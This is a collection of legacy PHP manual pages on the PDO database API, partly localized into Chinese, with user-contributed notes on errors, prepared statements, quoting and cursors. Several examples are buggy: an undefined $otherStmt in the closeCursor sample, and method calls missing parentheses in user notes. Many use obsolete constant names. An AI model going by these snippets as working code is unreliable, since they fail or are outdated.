If we'd want to serialize the uppermost object, we would have to delete all references, so in all objects, to the db conn.
(this is necessary since PDO may not be serialized)

To implement your own ISerializeable (with __wakeup and __sleep) on each object and then restoring the db conn would be a problem,
since you'll probably only want to have the top object have knowledge about the db you're connecting to.
(so besides destroying all handles from all objects, you'd be passing also the knowledge of which db to access from the top object to the lower ones (on unserialization)).

To solve the upper problem you can write a wrapper around the access to the PDO object.
Here's a description of the wrapper i use for this.
The wrapper contains 4 methods, nl.:
<?php
__construct(PDO $PDO, $type, $databasename, $username, $password, $host); //store the members for re-use in sleep and wakeup

/**
 * I'm to lazy to implement all PDO methods, so I use the
 * magic method __call to handle this for me
 */
final public function __call($methodName, $arrArguments) {
   //also check if the method exists
   return call_user_func_array(array($this->PDOHandle , $methodName), $arrArguments);
}

//destroy our handle to PDO ($this->PDOHandle = NULL;)
//and return the array containing the members we'll want to use on wakeup
public function __sleep();

//on base of our db members, let's create a new instance of the pdo object ($this->PDOHandle = new PDO...)
public function __wakeup();
?>

This way all objects working with the database will retrieve a handle to the wrapper and only the wrapper will contain a handle to the PDO object.
So we only have to destroy the handle on one place, to ensure we can use serialization (instead of running through our object tree).
add a note add a note

后退 | 起点 | 前进
PDO::commit | 上一级 | PDO::errorCode


PDO::errorCode

(no version information, might be only in CVS)

PDO::errorCode -- Fetch the SQLSTATE associated with the last operation on the database handle

说明

int PDO::errorCode ( void )

返回值

Returns a SQLSTATE, a five-character alphanumeric identifier defined in the ANSI SQL-92 standard. Briefly, an SQLSTATE consists of a two-character class value followed by a three-character subclass value. A class value of 01 indicates a warning and is accompanied by a return code of SQL_SUCCESS_WITH_INFO. Class values other than '01', except for the class 'IM', indicate an error. The class 'IM' is specific to warnings and errors that derive from the implementation of PDO (or perhaps ODBC, if you're using the ODBC driver) itself. The subclass value '000' in any class indicates that there is no subclass for that SQLSTATE.

PDO::errorCode() only retrieves error codes for operations performed directly on the database handle. If you create a PDOStatement object through PDO::prepare() or PDO::query() and invoke an error on the statement handle, PDO::errorCode() will not reflect that error. You must call PDOStatement::errorCode() to return the error code for an operation performed on a particular statement handle.

范例

例子 1. Retrieving a SQLSTATE code

<?php
/* Provoke an error -- the BONES table does not exist */
$dbh->exec("INSERT INTO bones(skull) VALUES ('lucy')");

echo "\nPDO::errorCode(): ";
print $dbh->errorCode();
?>

上例将输出：

PDO::errorCode(): 42S02

参见

PDO::errorInfo()
PDOStatement::errorCode()
PDOStatement::errorInfo()

add a note add a note User Contributed Notes
Matthias Leuffen
04-Dec-2005 08:36
Hi,

List containing all SQL-92 SQLSTATE Return Codes:
http://www.unix.org.ua/orelly/java-ent/jenut/ch08_06.htm

Use the following Code to let PDO throw Exceptions (PDOException) on Error.

<?PHP
$pdo = new PDO (whatever);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
try {
   $pdo->exec ("QUERY WITH SYNTAX ERROR");
} catch (PDOException $e) {
   if ($e->getCode == '2A000')
       echo "Syntax Error: ".$e->getMessage();
}
?>

Bye,
  Matthias
add a note add a note

后退 | 起点 | 前进
PDO::__construct | 上一级 | PDO::errorInfo


PDO::errorInfo

(no version information, might be only in CVS)

PDO::errorInfo -- Fetch extended error information associated with the last operation on the database handle

说明

array PDO::errorInfo ( void )

返回值

PDO::errorInfo() returns an array of error information about the last operation performed by this database handle. The array consists of the following fields:

Element | Information
0 | SQLSTATE error code (a five-character alphanumeric identifier defined in the ANSI SQL standard).
1 | Driver-specific error code.
2 | Driver-specific error message.

PDO::errorInfo() only retrieves error information for operations performed directly on the database handle. If you create a PDOStatement object through PDO::prepare() or PDO::query() and invoke an error on the statement handle, PDO::errorInfo() will not reflect the error from the statement handle. You must call PDOStatement::errorInfo() to return the error information for an operation performed on a particular statement handle.

范例

例子 1. Displaying errorInfo() fields for a PDO_ODBC connection to a DB2 database

<?php
/* Provoke an error -- the BONES table does not exist */
$err = $dbh->prepare('SELECT skull FROM bones');
$err->execute();
echo "\nPDO::errorInfo():\n";
print_r($err->errorInfo());
?>

上例将输出：

PDO::errorInfo():
Array
(
    [0] => 42S02
    [1] => -204
    [2] => [IBM][CLI Driver][DB2/LINUX] SQL0204N  "DANIELS.BONES" is an undefined name.  SQLSTATE=42704
)

参见

PDO::errorCode()
PDOStatement::errorCode()
PDOStatement::errorInfo()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PDO::errorCode | 上一级 | PDO::exec


PDO::exec

(no version information, might be only in CVS)

PDO::exec -- Execute an SQL statement and return the number of affected rows

说明

int PDO::exec ( string statement )

PDO::exec() executes an SQL statement in a single function call, returning the number of rows affected by the statement.

PDO::exec() does not return results from a SELECT statement. For a SELECT statement that you only need to issue once during your program, consider issuing PDO::query(). For a statement that you need to issue multiple times, prepare a PDOStatement object with PDO::prepare() and issue the statement with PDOStatement::execute().

参数

statement

The SQL statement to prepare and execute.

返回值

PDO::exec() returns the number of rows that were modified or deleted by the SQL statement you issued. If no rows were affected, PDO::exec() returns 0.

警告

本函数可能返回布尔值 FALSE，但也可能返回一个与 FALSE 等值的非布尔值，例如 0 或者 ""。请参阅布尔类型章节以获取更多信息。应使用 === 运算符来测试本函数的返回值。

The following example incorrectly relies on the return value of PDO::exec(), wherein a statement that affected 0 rows results in a call to die():
<?php
$db->exec() or die($db->errorInfo());
?>

范例

例子 1. Issuing a DELETE statement

Count the number of rows deleted by a DELETE statement with no WHERE clause.

<?php
$dbh = new PDO('odbc:sample', 'db2inst1', 'ibmdb2');

/* Delete all rows from the FRUIT table */
$count = $dbh->exec("DELETE FROM fruit WHERE colour = 'red'");

/* Return number of rows that were deleted */
print("Deleted $count rows.\n");
?>

上例将输出：

Deleted 1 rows.

参见

PDO::prepare()
PDO::query()
PDOStatement::execute()

add a note add a note User Contributed Notes
david at acz dot org
10-Feb-2006 08:39
This function cannot be used with any queries that return results.  This includes SELECT, OPTIMIZE TABLE, etc.
add a note add a note

后退 | 起点 | 前进
PDO::errorInfo | 上一级 | PDO::getAttribute


PDO::getAttribute

(no version information, might be only in CVS)

PDO::getAttribute -- Retrieve a database connection attribute

说明

mixed PDO::getAttribute ( int attribute )

This function returns the value of a database connection attribute. To retrieve PDOStatement attributes, refer to PDOStatement::getAttribute().

Note that some database/driver combinations may not support all of the database connection attributes.

参数

attribute

One of the PDO_ATTR_* constants. The constants that apply to database connections are as follows:

PDO_ATTR_AUTOCOMMIT
PDO_ATTR_CASE
PDO_ATTR_CLIENT_VERSION
PDO_ATTR_CONNECTION_STATUS
PDO_ATTR_DRIVER_NAME
PDO_ATTR_ERRMODE
PDO_ATTR_ORACLE_NULLS
PDO_ATTR_PERSISTENT
PDO_ATTR_PREFETCH
PDO_ATTR_SERVER_INFO
PDO_ATTR_SERVER_VERSION
PDO_ATTR_TIMEOUT

返回值

A successful call returns the value of the requested PDO attribute. An unsuccessful call returns null.

范例

例子 1. Retrieving database connection attributes

<?php
$conn = new PDO('odbc:sample', 'db2inst1', 'ibmdb2');

print "\nPDO_ATTR_AUTOCOMMIT: ";
print $conn->getAttribute(PDO_ATTR_AUTOCOMMIT);

print "\nPDO_ATTR_ERRMODE: ";
print $conn->getAttribute(PDO_ATTR_ERRMODE);

print "\nPDO_ATTR_CASE: ";
print $conn->getAttribute(PDO_ATTR_CASE);

print "\nPDO_ATTR_CLIENT_VERSION: ";
print $conn->getAttribute(PDO_ATTR_CLIENT_VERSION);

print "\nPDO_ATTR_CONNECTION_STATUS: ";
print $conn->getAttribute(PDO_ATTR_CONNECTION_STATUS);

print "\nPDO_ATTR_ORACLE_NULLS: ";
print $conn->getAttribute(PDO_ATTR_ORACLE_NULLS);

print "\nPDO_ATTR_PERSISTENT: ";
print $conn->getAttribute(PDO_ATTR_PERSISTENT);

print "\nPDO_ATTR_PREFETCH: ";
print $conn->getAttribute(PDO_ATTR_PREFETCH);

print "\nPDO_ATTR_SERVER_INFO: ";
print $conn->getAttribute(PDO_ATTR_SERVER_INFO);

print "\nPDO_ATTR_SERVER_VERSION: ";
print $conn->getAttribute(PDO_ATTR_SERVER_VERSION);

print "\nPDO_ATTR_TIMEOUT: ";
print $conn->getAttribute(PDO_ATTR_TIMEOUT);
?>

参见

PDO::setAttribute()
PDOStatement::getAttribute()
PDOStatement::setAttribute()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PDO::exec | 上一级 | PDO::lastInsertId


PDO::lastInsertId

(no version information, might be only in CVS)

PDO::lastInsertId -- Returns the ID of the last inserted row or sequence value

Description

string PDO::lastInsertId ( [string name] )

Returns the ID of the last inserted row, or the last value from a sequence object, depending on the underlying driver.

注: This method may not return a meaningful/consistent result across different PDO drivers, because the underlying database may not even support the notion of auto-increment fields or sequences.

参数

name

Name of the sequence object from which the ID should be returned.

返回值

If a sequence name was not specified for the name parameter, PDOStatement::lastInsertId() returns a string representing the row ID of the last row that was inserted into the database.

If a sequence name was specified for the name parameter, PDOStatement::lastInsertId() returns a string representing the last value retrieved from the specified sequence object.

If the PDO driver does not support this capability, PDO::lastInsertID() triggers an IM001 SQLSTATE.

add a note add a note User Contributed Notes
opik at opik dot ru
20-Dec-2005 10:10
Simple example:
<?php
try {
   $dbh = new PDO('mysql:host=localhost;dbname=test', 'root', 'passowd');

   $smf = $dbh->prepare("INSERT INTO test (`numer`) VALUES (?)");

   $a = mt_rand(1, 100);
   $smf->bindParam(1, $a, PDO::PARAM_INT);
   $smf->execute();
   print $dbh->lastInsertId().'<br />';

   $a = mt_rand(1, 100);
   $smf->bindParam(1, $a, PDO::PARAM_INT);
   $smf->execute();
   print $dbh->lastInsertId();

   $dbh = null;
} catch (PDOException $e) {
   print "Error!: " . $e->getMessage() . "<br/>";
   die();
}
?>
add a note add a note

后退 | 起点 | 前进
PDO::getAttribute | 上一级 | PDO::prepare


PDO::prepare

(no version information, might be only in CVS)

PDO::prepare -- Prepares a statement for execution and returns a statement object

说明

PDOStatement PDO::prepare ( string statement [, array driver_options] )

Prepares an SQL statement to be executed by the PDOStatement::execute() method. The SQL statement can contain zero or more named (:name) or question mark (?) parameter markers for which real values will be substituted when the statement is executed. You cannot use both named and question mark parameter markers within the same SQL statement; pick one or the other parameter style.

Calling PDO::prepare() and PDOStatement::execute() for statements that will be issued multiple times with different parameter values optimizes the performance of your application by allowing the driver to negotiate client and/or server side caching of the query plan and meta information, and helps to prevent SQL injection attacks by eliminating the need to manually quote the parameters.

PDO will emulate prepared statements/bound parameters for drivers that do not natively support them, and can also rewrite named or question mark style parameter markers to something more appropriate, if the driver supports one style but not the other.

参数

statement

This must be a valid SQL statement for the target database server.

driver_options

This array holds one or more key=>value pairs to set attribute values for the PDOStatement object that this method returns. You would most commonly use this to set the PDO_ATTR_CURSOR value to PDO_CURSOR_SCROLL to request a scrollable cursor. Some drivers have driver specific options that may be set at prepare-time.

返回值

If the database server successfully prepares the statement, PDO::prepare() returns a PDOStatement object.

范例

例子 1. Prepare an SQL statement with named parameters

<?php
/* Execute a prepared statement by passing an array of values */
$sql = 'SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour';
$sth = $dbh->prepare($sql, array(PDO_ATTR_CURSOR, PDO_CURSOR_FWDONLY));
$sth->execute(array(':calories' => 150, ':colour' => 'red'));
$red = $sth->fetchAll();
$sth->execute(array(':calories' => 175, ':colour' => 'yellow'));
$yellow = $sth->fetchAll();
?>

例子 2. Prepare an SQL statement with question mark parameters

<?php
/* Execute a prepared statement by passing an array of values */
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?');
$sth->execute(array(150, 'red'));
$red = $sth->fetchAll();
$sth->execute(array(175, 'yellow'));
$yellow = $sth->fetchAll();
?>

参见

PDO::exec()
PDO::query()
PDOStatement::execute()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PDO::lastInsertId | 上一级 | PDO::query


PDO::query

(no version information, might be only in CVS)

PDO::query -- Executes an SQL statement, returning a result set as a PDOStatement object

说明

PDOStatement PDO::query ( string statement )

PDO::query() executes an SQL statement in a single function call, returning the result set (if any) returned by the statement as a PDOStatement object.

For a query that you need to issue multiple times, you will realize better performance if you prepare a PDOStatement object using PDO::prepare() and issue the statement with multiple calls to PDOStatement::execute().

参数

statement

The SQL statement to prepare and execute.

返回值

PDO::query() returns a PDOStatement object.

范例

例子 1. Demonstrate PDO::query

A nice feature of PDO::query() is that it enables you to iterate over the rowset returned by a successfully executed SELECT statement.

<?php
function getFruit($conn) {
    $sql = 'SELECT name, colour, calories FROM fruit ORDER BY name';
    foreach ($conn->query($sql) as $row) {
        print $row['NAME'] . "\t";
        print $row['COLOUR'] . "\t";
        print $row['CALORIES'] . "\n";
    }
}
?>

上例将输出：

apple   red     150
banana  yellow  250
kiwi    brown   75
lemon   yellow  25
orange  orange  300
pear    green   150
watermelon      pink    90

参见

PDO::exec()
PDO::prepare()
PDOStatement::execute()

add a note add a note User Contributed Notes
E. Rnie
22-May-2006 09:36
the above example does not function well...
it just returned
(
   [queryString] => "SELECT * FROM...."
)

with a trailing ->fetchAll() everthing is working fine...

the complete correct line:

foreach ($conn->query($sql)->fetchAll as $row) {
.
.
.
dozoyousan at gmail dot com
03-May-2006 01:26
> When query() fails, the boolean false is returned.

I think that is "Silent Mode".
If that set attribute ErrorMode "Exception Mode"
then that throw PDOException.
 $pdoObj = new PDO( $dsn, $user, $pass );
 $pdoObj->setAttribute("PDO::ATTR_ERRMODE", PDO::ERRMODE_EXCEPTION);
Nicolas Brard Nault
06-Mar-2006 07:03
When query() fails, the boolean false is returned.
add a note add a note

后退 | 起点 | 前进
PDO::prepare | 上一级 | PDO::quote


PDO::quote

(no version information, might be only in CVS)

PDO::quote -- Quotes a string for use in a query.

说明

string PDO::quote ( string string [, int parameter_type] )

PDO::quote() places quotes around the input string and escapes and single quotes within the input string, using a quoting style appropriate to the underlying driver.

If you are using this function to build SQL statements, you are strongly recommended to use PDO::prepare() to prepare SQL statements with bound parameters instead of using PDO::quote() to interpolate user input into a SQL statement. Prepared statements with bound parameters are not only more portable, more convenient, and vastly more secure, but are often much faster than interpolating user input into slight variations on the same basic SQL statement.

Not all PDO drivers implement this method (notably PDO_ODBC). Consider using prepared statements instead.

参数

string

The string to be quoted.

parameter_type

Provides a data type hint for drivers that have alternate quoting styles. The default value is PDO_PARAM_STR.

返回值

Returns a quoted string that is theoretically safe to pass into an SQL statement. Returns FALSE if the driver does not support quoting in this way.

范例

例子 1. Quoting a normal string

<?php
$conn = new PDO('sqlite:/home/lynn/music.sql3');

/* Simple string */
$string = 'Nice';
print "Unquoted string: $string\n";
print "Quoted string: " . $conn->quote($string) . "\n";
?>

上例将输出：

Unquoted string: Nice
Quoted string: 'Nice'

例子 2. Quoting a dangerous string

<?php
$conn = new PDO('sqlite:/home/lynn/music.sql3');

/* Dangerous string */
$string = 'Naughty \' string';
print "Unquoted string: $string\n";
print "Quoted string:" . $conn->quote($string) . "\n";
?>

上例将输出：

Unquoted string: Naughty ' string
Quoted string: 'Naughty '' string'

例子 3. Quoting a complex string

<?php
$conn = new PDO('sqlite:/home/lynn/music.sql3');

/* Complex string */
$string = "Co'mpl''ex \"st'\"ring";
print "Unquoted string: $string\n";
print "Quoted string: " . $conn->quote($string) . "\n";
?>

上例将输出：

Unquoted string: Co'mpl''ex "st'"ring
Quoted string: 'Co''mpl''''ex "st''"ring'

参见

PDO::prepare()
PDOStatement::execute()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PDO::query | 上一级 | PDO::rollBack


PDO::rollBack

(no version information, might be only in CVS)

PDO::rollBack -- Rolls back a transaction

说明

bool PDO::rollBack ( void )

Rolls back the current transaction, as initiated by PDO::beginTransaction(). It is an error to call this method if no transaction is active.

If the database was set to autocommit mode, this function will restore autocommit mode after it has rolled back the transaction.

Some databases, including MySQL, automatically issue an implicit COMMIT when a database definition language (DDL) statement such as DROP TABLE or CREATE TABLE is issued within a transaction. The implicit COMMIT will prevent you from rolling back any other changes within the transaction boundary.

范例

例子 1. Roll back a transaction

The following example begins a transaction and issues two statements that modify the database before rolling back the changes. On MySQL, however, the DROP TABLE statement automatically commits the transaction so that none of the changes in the transaction are rolled back.

<?php
/* Begin a transaction, turning off autocommit */
$dbh->beginTransaction();

/* Change the database schema and data */
$sth = $dbh->exec("DROP TABLE fruit");
$sth = $dbh->exec("UPDATE dessert
    SET name = 'hamburger'");

/* Recognize mistake and roll back changes */
$dbh->rollBack();

/* Database connection is now back in autocommit mode */
?>

参见

PDO::beginTransaction()
PDO::commit()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PDO::quote | 上一级 | PDO::setAttribute


PDO::setAttribute

(no version information, might be only in CVS)

PDO::setAttribute -- Set an attribute

Description

bool PDO::setAttribute ( int attribute, mixed value )

Sets an attribute on the database handle. Some of the available generic attributes are listed below; some drivers may make use of additional driver specific attributes.

  • PDO_ATTR_CASE: Force column names to a specific case.

    • PDO_CASE_LOWER: Force column names to lower case.

    • PDO_CASE_NATURAL: Leave column names as returned by the database driver.

    • PDO_CASE_UPPER: Force column names to upper case.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PDO::rollBack | 上一级 | PDOStatement::bindColumn


PDOStatement::bindColumn

(no version information, might be only in CVS)

PDOStatement::bindColumn -- Bind a column to a PHP variable

说明

bool PDOStatement::bindColumn ( mixed column, mixed &param [, int type] )

PDOStatement::bindColumn() arranges to have a particular variable bound to a given column in the result-set from a query. Each call to PDOStatement::fetch() or PDOStatement::fetchAll() will update all the variables that are bound to columns.

注: Since information about the columns is not always available to PDO until the statement is executed, portable applications should call this function after PDO::execute().

参数

column

Number of the column (1-indexed) or name of the column in the result set. If using the column name, be aware that the name should match the case of the column, as returned by the driver.

param

Name of the PHP variable to which the column will be bound.

type

Data type of the parameter, specified by the PDO_PARAM_* constants.

范例

例子 1. Binding result set output to PHP variables

Binding columns in the result set to PHP variables is an effective way to make the data contained in each row immediately available to your application. The following example demonstrates how PDO allows you to bind and retrieve columns with a variety of options and with intelligent defaults.

<?php
function readData($dbh) {
  $sql = 'SELECT name, colour, calories FROM fruit';
  try {
    $stmt = $dbh->prepare($sql);
    $stmt->execute();

    /* Bind by column number */
    $stmt->bindColumn(1, $name);
    $stmt->bindColumn(2, $colour);

    /* Bind by column name */
    $stmt->bindColumn('calories', $cals);

    while ($row = $stmt->fetch(PDO_FETCH_BOUND)) {
      $data = $name . "\t" . $colour . "\t" . $cals . "\n";
      print $data;
    }
  }
  catch (PDOException $e) {
    print $e->getMessage();
  }
}
readData($dbh);
?>

上例将输出：

apple   red     150
banana  yellow  175
kiwi    green   75
orange  orange  150
mango   red     200
strawberry      red     25

参见

PDOStatement::execute()
PDOStatement::fetch()
PDOStatement::fetchAll()
PDOStatement::fetchColumn()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PDO::setAttribute | 上一级 | PDOStatement::bindParam


PDOStatement::bindParam

(no version information, might be only in CVS)

PDOStatement::bindParam -- Binds a parameter to the specified variable name

说明

bool PDOStatement::bindParam ( mixed parameter, mixed &variable [, int data_type [, int length [, mixed driver_options]]] )

Binds a PHP variable to a corresponding named or question mark placeholder in the SQL statement that was use to prepare the statement. Unlike PDOStatement::bindValue(), the variable is bound as a reference and will only be evaluated at the time that PDOStatement::execute() is called.

Most parameters are input parameters, that is, parameters that are used in a read-only fashion to build up the query. Some drivers support the invocation of stored procedures that return data as output parameters, and some also as input/output parameters that both send in data and are updated to receive it.

参数

parameter

Parameter identifier. For a prepared statement using named placeholders, this will be a parameter name of the form :name. For a prepared statement using question mark placeholders, this will be the 1-indexed position of the parameter.

variable

Name of the PHP variable to bind to the SQL statement parameter.

data_type

Explicit data type for the parameter using the PDO_PARAM_* constants. To return an INOUT parameter from a stored procedure, use the bitwise OR operator to set the PDO_PARAM_INPUT_OUTPUT bits for the data_type parameter.

length

Length of the data type. To indicate that a parameter is an OUT parameter from a stored procedure, you must explicitly set the length.

driver_options

范例

例子 1. Execute a prepared statement with named placeholders

<?php
/* Execute a prepared statement by binding PHP variables */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour');
$sth->bindParam(':calories', $calories, PDO_PARAM_INT);
$sth->bindParam(':colour', $colour, PDO_PARAM_STR, 12);
$sth->execute();
?>

例子 2. Execute a prepared statement with question mark placeholders

<?php
/* Execute a prepared statement by binding PHP variables */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?');
$sth->bindParam(1, $calories, PDO_PARAM_INT);
$sth->bindParam(2, $colour, PDO_PARAM_STR, 12);
$sth->execute();
?>

例子 3. Call a stored procedure with an INOUT parameter

<?php
/* Call a stored procedure with an INOUT parameter */
$colour = 'red';
$sth = $dbh->prepare('CALL puree_fruit(?)');
$sth->bindParam(1, $colour, PDO_PARAM_STR|PDO_PARAM_INPUT_OUTPUT, 12);
$sth->execute();
print("After pureeing fruit, the colour is: $colour");
?>

参见

PDO::prepare()
PDOStatement::execute()
PDOStatement::bindValue()

add a note add a note User Contributed Notes
Filofox
10-Apr-2006 06:09
Do not try to use the same named parameter twice in a single SQL statement, for example

$sql = 'SELECT * FROM some_table WHERE  some_value > :value OR some_value < :value';
$stmt = $dbh->prepare($sql);
$stmt->execute( array( ':value' => 3 ) );

...this will return no rows and no error -- you must use each parameter once and only once. Apparently this is expected behavior (according to this bug report: http://bugs.php.net/bug.php?id=33886)  because of portability issues.
06-Feb-2006 06:25
A caution for those using bindParam() on a placeholder in a
LIKE '%...%' clause, the following code will likely not work:

$q = "SELECT id, name FROM test WHERE name like '%:foo%'";
$s = "carrot";
$sth = $dbh->prepare($q);
$sth->bindParam(':foo', $s);
$sth->execute();

What is needed is something like the following:

$s = "%$s%";
$sth->bindParam(':foo', $s);

This should work. Tested against mysql 4.1, PHP 5.1.3.
add a note add a note

后退 | 起点 | 前进
PDOStatement::bindColumn | 上一级 | PDOStatement::bindValue


PDOStatement::bindValue

(no version information, might be only in CVS)

PDOStatement::bindValue -- Binds a value to a parameter

说明

bool PDOStatement::bindValue ( mixed parameter, mixed value [, int data_type] )

Binds a value to a corresponding named or question mark placeholder in the SQL statement that was use to prepare the statement.

参数

parameter

Parameter identifier. For a prepared statement using named placeholders, this will be a parameter name of the form :name. For a prepared statement using question mark placeholders, this will be the 1-indexed position of the parameter.

value

The value to bind to the parameter.

data_type

Explicit data type for the parameter using the PDO_PARAM_* constants.

范例

例子 1. Execute a prepared statement with named placeholders

<?php
/* Execute a prepared statement by binding PHP variables */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour');
$sth->bindValue(':calories', $calories, PDO_PARAM_INT);
$sth->bindValue(':colour', $colour, PDO_PARAM_STR);
$sth->execute();
?>

例子 2. Execute a prepared statement with question mark placeholders

<?php
/* Execute a prepared statement by binding PHP variables */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?');
$sth->bindValue(1, $calories, PDO_PARAM_INT);
$sth->bindValue(2, $colour, PDO_PARAM_STR);
$sth->execute();
?>

参见

PDO::prepare()
PDOStatement::execute()
PDOStatement::bindParam()

add a note add a note User Contributed Notes
Chris L
27-May-2006 06:43
I'm not sure if this is intentional or not, but you can't use a placeholder more than once. I assumed (wrongly) that bindValue() would replace ALL instances of a given placeholder with a value. For example:

<?php

// $db is a PDO object
$stmt = $db->prepare
('
   insert into
       TableA
   (
       ID,
       Name,
       Foo
   )

   select
       null,
       :Name,
       :Foo

   from
       TableA

   where
       Foo = :Foo
');

$stmt->bindValue(':Name', 'john doe');
$stmt->bindValue(':Foo', 'foo');

$stmt->execute();

?>

This apparently won't work - you must have separate :SelectFoo and :WhereFoo. I'm using PHP 5.0.4, MySQL 5.0.14, and PDO version 1.0.2.
add a note add a note

后退 | 起点 | 前进
PDOStatement::bindParam | 上一级 | PDOStatement::closeCursor


PDOStatement::closeCursor

(no version information, might be only in CVS)

PDOStatement::closeCursor -- Closes the cursor, enabling the statement to be executed again.

说明

bool PDOStatement::closeCursor ( void )

PDOStatement::closeCursor() frees up the connection to the server so that other SQL statements may be issued, but leaves the statement in a state that enables it to be executed again.

This method is useful for database drivers that do not support executing a PDOStatement object when a previously executed PDOStatement object still has unfetched rows. If your database driver suffers from this limitation, the problem may manifest itself in an out-of-sequence error.

PDOStatement::closeCursor() is implemented either as an optional driver specific method (allowing for maximum efficiency), or as the generic PDO fallback if no driver specific function is installed. The PDO generic fallback is semantically the same as writing the following code in your PHP script:
<?php
do {
    while ($stmt->fetch())
        ;
    if (!$stmt->nextRowset())
        break;
} while (true);
?>

范例

例子 1. A PDOStatement::closeCursor() example

In the following example, the $stmt PDOStatement object returns multiple rows but the application fetches only the first row, leaving the PDOStatement object in a state of having unfetched rows. To ensure that the application will work with all database drivers, the author inserts a call to PDOStatement::closeCursor() on $stmt before executing the $otherStmt PDOStatement object.

<?php
/* Create a PDOStatement object */
$stmt = $dbh->prepare('SELECT foo FROM bar');

/* Create a second PDOStatement object */
$stmt = $dbh->prepare('SELECT foobaz FROM foobar');

/* Execute the first statement */
$stmt->execute();

/* Fetch only the first row from the results */
$stmt->fetch();

/* The following call to closeCursor() may be required by some drivers */
$stmt->closeCursor();

/* Now we can execute the second statement */
$otherStmt->execute();
?>

参见

PDOStatement::execute()

add a note add a note User Contributed Notes
narada dot sage at googlemail dot com
30-Apr-2006 04:23
When running multiple queries one after another especially when stored procedures are involved one must release all result sets and fetch all rows in each result set for a stored procedure before moving onto the next query.  This is important because a stored procedure returns an extra (empty) result set as a result of having called the procedure itself.

In my case calling PDOStatement :: closeCursor() did not work (on php-5.1.3-rc2) and I was presented with the following error message: "SQLSTATE[HY000]: General error: 2013 Lost connection to MySQL server during query" upon trying to PDO :: prepare() my second query.  So I used the following drop in replacement within one of my classes which fixed the issue.

<?php
/**
 * @param PDOStatement $oStm
 */
public static function closeCursor($oStm) {
   do $oStm->fetchAll();
   while ($oStm->nextRowSet());
}
?>
add a note add a note

后退 | 起点 | 前进
PDOStatement::bindValue | 上一级 | PDOStatement::columnCount


PDOStatement::columnCount

(no version information, might be only in CVS)

PDOStatement::columnCount -- Returns the number of columns in the result set

说明

int PDOStatement::columnCount ( void )

Use PDOStatement::columnCount() to return the number of columns in the result set represented by the PDOStatement object.

If the PDOStatement object was returned from PDO::query(), the column count is immediately available.

If the PDOStatement object was returned from PDO::prepare(), an accurate column count will not be available until you invoke PDOStatement::execute().

返回值

Returns the number of columns in the result set represented by the PDOStatement object. If there is no result set, PDOStatement::columnCount() returns 0.

范例

例子 1. Counting columns

This example demonstrates how PDOStatement::columnCount() operates with and without a result set.

<?php
$dbh = new PDO('odbc:sample', 'db2inst1', 'ibmdb2');

$sth = $dbh->prepare("SELECT name, colour FROM fruit");

/* Count the number of columns in the (non-existent) result set */
$colcount = $sth->columnCount();
print("Before execute(), result set has $colcount columns (should be 0)\n");

$sth->execute();

/* Count the number of columns in the result set */
$colcount = $sth->columnCount();
print("After execute(), result set has $colcount columns (should be 2)\n");

?>

上例将输出：

Before execute(), result set has 0 columns (should be 0)
After execute(), result set has 2 columns (should be 2)

参见

PDO::prepare()
PDOStatement::execute()
PDOStatement::rowCount()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PDOStatement::closeCursor | 上一级 | PDOStatement::errorCode


PDOStatement::errorCode

(no version information, might be only in CVS)

PDOStatement::errorCode -- Fetch the SQLSTATE associated with the last operation on the statement handle

说明

int PDOStatement::errorCode ( void )

返回值

Identical to PDO::errorCode(), except that PDOStatement::errorCode() only retrieves error codes for operations performed with PDOStatement objects.

范例

例子 1. Retrieving a SQLSTATE code

<?php
/* Provoke an error -- the BONES table does not exist */
$err = $dbh->prepare('SELECT skull FROM bones');
$err->execute();

echo "\nPDOStatement::errorCode(): ";
print $err->errorCode();
?>

上例将输出：

PDOStatement::errorCode(): 42S02

参见

PDO::errorCode()
PDO::errorInfo()
PDOStatement::errorInfo()

add a note add a note User Contributed Notes
vaclav dot sir at gmail dot com
05-Jun-2006 11:59
Statement's errorCode() returns an empty string before execution, and '00000' (five zeros) after a sucessfull execution:

<?php
$stmt = $pdo->prepare($query);
assert($stmt->errorCode === '');

$stmt->execute();
assert($stmt->errorCode === '00000');
?>
add a note add a note

后退 | 起点 | 前进
PDOStatement::columnCount | 上一级 | PDOStatement::errorInfo


PDOStatement::errorInfo

(no version information, might be only in CVS)

PDOStatement::errorInfo -- Fetch extended error information associated with the last operation on the statement handle

说明

array PDOStatement::errorInfo ( void )

返回值

PDOStatement::errorInfo() returns an array of error information about the last operation performed by this statement handle. The array consists of the following fields:

Element | Information
0 | SQLSTATE error code (a five-character alphanumeric identifier defined in the ANSI SQL standard).
1 | Driver-specific error code.
2 | Driver-specific error message.

范例

例子 1. Displaying errorInfo() fields for a PDO_ODBC connection to a DB2 database

<?php
/* Provoke an error -- the BONES table does not exist */
$sth = $dbh->prepare('SELECT skull FROM bones');
$sth->execute();

echo "\nPDOStatement::errorInfo():\n";
$arr = $sth->errorInfo();
print_r($arr);
?>

上例将输出：

PDOStatement::errorInfo():
Array
(
    [0] => 42S02
    [1] => -204
    [2] => [IBM][CLI Driver][DB2/LINUX] SQL0204N  "DANIELS.BONES" is an undefined name.  SQLSTATE=42704
)

参见

PDO::errorCode()
PDO::errorInfo()
PDOStatement::errorCode()

add a note add a note User Contributed Notes
